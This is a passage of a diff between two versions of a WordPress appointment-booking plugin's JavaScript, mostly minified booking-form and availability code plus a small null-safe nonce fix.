e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||\"\";Ce(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?\"\":String(this.serviceId);Ce(this.$servicesSelect,{\"\":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?\"0\":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?\"0\":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new Ge(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new $e(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new De(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new ue(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}jQuery(window).on(\"load\",(()=>{window.elementorFrontend.isEditMode()&&window.elementorFrontend.elements.$window.on(\"elementor\u002Ffrontend\u002Finit\",(()=>{window.elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fappointment-form.default\",(e=>{const t=e.find(\".appointment-form-shortcode\");new Qe(t)}))}))}))}(wp.date,mpaData,intlTelInput)}();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fgutenberg-blocks.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fgutenberg-blocks.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fgutenberg-blocks.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fgutenberg-blocks.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -4737,6 +4737,7 @@\n \t   * @access protected\r\n \t   *\u002F\n \t  setupProperties() {\n+\t    var _mpaData$nonces$mpa_c;\n \t    \u002F**\r\n \t     * @since 1.0\r\n \t     * @var {Map}\r\n@@ -4776,7 +4777,7 @@\n \n \t    \u002F\u002F Later, StepPayment will replace the nonce with\n \t    \u002F\u002F \"mpa_create_booking_{$bookingId}\"\n-\t    this.bookingNonce = mpaData.nonces.mpa_create_booking;\n+\t    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; \u002F\u002F Missing for blocks\n \t  }\n \n \t  \u002F**\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fgutenberg-blocks.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fgutenberg-blocks.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fgutenberg-blocks.min.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fgutenberg-blocks.min.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-!function(){\"use strict\";!function(e,t,s,i,n){class a{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class o extends a{setupProperties(){super.setupProperties(),this.name=\"\"}}class r extends a{setupProperties(){super.setupProperties(),this.name=\"\"}}function l(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function p(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function m(e,t){let s=Math.min(e.length,t.length),i={};for(let n=0;n\u003Cs;n++)i[e[n]]=t[n];return i}function c(e,t,s=1){let i=s||1,n=Math.abs(Math.floor((t-e)\u002Fi))+1;return[...Array(n).keys()].map((t=>t*s+e))}const h=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,d=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;class u extends a{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():h(\"Clients\",\"motopress-appointment\")}}class g{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}let y=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function b(e,t={},s=\"GET\"){return new Promise(((i,n)=>{wp.apiRequest({path:y+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s=\"parsererror\";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==s&&(s=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),n(new Error(s))}))}))}function _(e,t={}){return b(e,t,\"GET\")}function f(e,t){return b(e,t,\"POST\")}class v{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{_(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class w{constructor(){this.settingsCtrl=new v,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==w.instance&&(w.instance=new w),w.instance}}function C(){return w.getInstance()}const S={weekdays:{shorthand:[h(\"Sun\",\"motopress-appointment\"),h(\"Mon\",\"motopress-appointment\"),h(\"Tue\",\"motopress-appointment\"),h(\"Wed\",\"motopress-appointment\"),h(\"Thu\",\"motopress-appointment\"),h(\"Fri\",\"motopress-appointment\"),h(\"Sat\",\"motopress-appointment\")],longhand:[h(\"Sunday\",\"motopress-appointment\"),h(\"Monday\",\"motopress-appointment\"),h(\"Tuesday\",\"motopress-appointment\"),h(\"Wednesday\",\"motopress-appointment\"),h(\"Thursday\",\"motopress-appointment\"),h(\"Friday\",\"motopress-appointment\"),h(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[h(\"Jan\",\"motopress-appointment\"),h(\"Feb\",\"motopress-appointment\"),h(\"Mar\",\"motopress-appointment\"),h(\"Apr\",\"motopress-appointment\"),d(\"May\",\"Month (short)\",\"motopress-appointment\"),h(\"Jun\",\"motopress-appointment\"),h(\"Jul\",\"motopress-appointment\"),h(\"Aug\",\"motopress-appointment\"),h(\"Sep\",\"motopress-appointment\"),h(\"Oct\",\"motopress-appointment\"),h(\"Nov\",\"motopress-appointment\"),h(\"Dec\",\"motopress-appointment\")],longhand:[h(\"January\",\"motopress-appointment\"),h(\"February\",\"motopress-appointment\"),h(\"March\",\"motopress-appointment\"),h(\"April\",\"motopress-appointment\"),d(\"May\",\"Month\",\"motopress-appointment\"),h(\"June\",\"motopress-appointment\"),h(\"July\",\"motopress-appointment\"),h(\"August\",\"motopress-appointment\"),h(\"September\",\"motopress-appointment\"),h(\"October\",\"motopress-appointment\"),h(\"November\",\"motopress-appointment\"),h(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:C().settings().getFirstDayOfWeek()};function E(e,s=\"public\"){if(\"string\"==typeof e)return e;if(\"internal\"==s)return E(e,\"Y-m-d\");if(\"public\"==s)return t.format(C().settings().getDateFormat(),e);let i=(e,t=2)=>(\"00\"+e).slice(-t),n=!1;return s.split(\"\").map((t=>{if(n)return n=!1,t;switch(t){case\"\\\\\":return n=!0,\"\";case\"j\":return e.getDate();case\"d\":return i(e.getDate());case\"D\":return S.weekdays.shorthand[e.getDay()];case\"l\":return S.weekdays.longhand[e.getDay()];case\"N\":return e.getDay()||7;case\"w\":return e.getDay();case\"z\":let s=new Date(e.getFullYear(),0,1),a=s.getTimezoneOffset()-e.getTimezoneOffset(),o=e-s+60*a*1e3,r=864e5;return Math.floor(o\u002Fr);case\"W\":let l=new Date(Date.UTC(e.getFullYear(),e.getMonth(),e.getDate())),p=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-p);let m=new Date(Date.UTC(l.getUTCFullYear(),0,1)),c=864e5;return Math.ceil(((l-m)\u002Fc+1)\u002F7);case\"F\":return S.months.longhand[e.getMonth()];case\"M\":return S.months.shorthand[e.getMonth()];case\"m\":return i(e.getMonth()+1);case\"n\":return e.getMonth()+1;case\"t\":return new Date(e.getFullYear(),e.getMonth()+1,0).getDate();case\"Y\":return e.getFullYear();case\"y\":return String(e.getFullYear()).substring(2);case\"L\":return e.getFullYear()%4==0?1:0;case\"A\":return S.amPM[e.getHours()>11?1:0];case\"a\":return S.amPM[e.getHours()>11?1:0].toLowerCase();case\"H\":return i(e.getHours());case\"h\":return i(e.getHours()%12||12);case\"G\":return e.getHours();case\"g\":return e.getHours()%12||12;case\"i\":return i(e.getMinutes());case\"s\":return i(e.getSeconds());case\"v\":return i(e.getMilliseconds(),3);case\"u\":return i(e.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let h=-e.getTimezoneOffset(),d=h>=0?\"+\":\"-\",u=Math.floor(Math.abs(h)\u002F60),g=Math.abs(h)%60,y=\"O\"==t?\"\":\":\";return d+i(u)+y+i(g);case\"Z\":return 60*e.getTimezoneOffset();case\"U\":return Math.floor(e.getTime()\u002F1e3);case\"c\":return E(e,\"Y-m-d\\\\TH:i:sP\");case\"r\":return E(e,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return t}})).join(\"\")}function k(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function P(){let e=new Date;return e.setHours(0,0,0,0),e}class I extends a{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let s=e[t];null!=s&&\"\"!==s&&(this[t]=k(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=s*this.amount\u002F100}t=Math.min(t,s)}return t}}function T(e){return!!e}function $(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class D{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let n of e)this.haveEntity(n)&&!t?i.push(this.getEntity(n)):s.push(n);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return _(this.getRoute(),{id:e})}requestEntities(e){return _(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class x extends D{findByCode(e,t=!1){return _(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new I(e.id,e)}}function M(e,t=\"public\"){return E(e,\"internal\"==t?\"H:i\":\"public\"==t?C().settings().getTimeFormat():t)}function A(e){let t=e.split(\":\"),s=parseInt(t[0]),i=parseInt(t[1]),n=P();return n.setHours(s,i),n}class B{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?A(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?A(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new B(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new B(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let s=\"short\"==e?\"public\":e,i=M(this.startTime,s),n=M(this.endTime,s);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===n?h(\"All day\",\"motopress-appointment\"):\"short\"==e&&i==n?i:i+t+n}}class L extends a{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?k(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new B(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new B(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class F extends D{mapRestDataToEntity(e){return new L(e.id,e)}}class R{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?k(e)||P():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=k(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let s=E(t,\"internal\"),i=new Date(t);e[s]=i}return e}toString(){return E(this.startDate,\"internal\")+\" - \"+E(this.endDate,\"internal\")}}class O extends a{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new B(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),\"work\"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new R(t.date_period),time_period:new B(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new R(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=E(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=k(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class N extends D{mapRestDataToEntity(e){return new O(e.id,e)}}class H extends D{mapRestDataToEntity(e){return new u(e.id,e)}}class V{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new N(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new H(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new F(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new x(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==V.instance&&(V.instance=new V),V.instance}}function z(){return V.getInstance()}let q=null;function U(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),n=Array.isArray(i.children)?i.children:[],a=n.length?U(n,t):[];(e||a.length>0)&&s.push({...i,children:a})}return s}function j(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(j(s.children)));return t}function W(e,t=[],s=null,i=0){const n=[],a=new Map(t.map(((e,t)=>[e,t]))),o=[...e].sort(((e,t)=>{var s,i;return(null!==(s=a.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=a.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of o)Array.isArray(s)&&!s.includes(e.slug)||(n.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(i)+e.name}),Array.isArray(e.children)&&n.push(...W(e.children,t,s,i+1)));return n}function G(e){return T(e)}let Y={};function Q(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function K(e=\"\",t=!1){let s=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};Y.uniqid_seed||(Y.uniqid_seed=Math.floor(123456789*Math.random())),Y.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()\u002F1e3,10),8),i+=s(Y.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class Z{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==q)&&(q=_(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),q}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:n,locations_order:a,categories_tree:o}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(n||[]),this.setLocationIndexes(a||[]),this.setServiceCategoriesTree(o||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return Q(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new u(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=g.loadInBackground(i,z().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new o(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new r(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,s=0){let i={};for(let n in this.availability){let a=this.availability[n];if(\"\"===e||e in a.categories){if(0!==t){let e=!1;if(Object.keys(a.employees).forEach((s=>{a.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in a.employees)&&(i[n]=a.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let 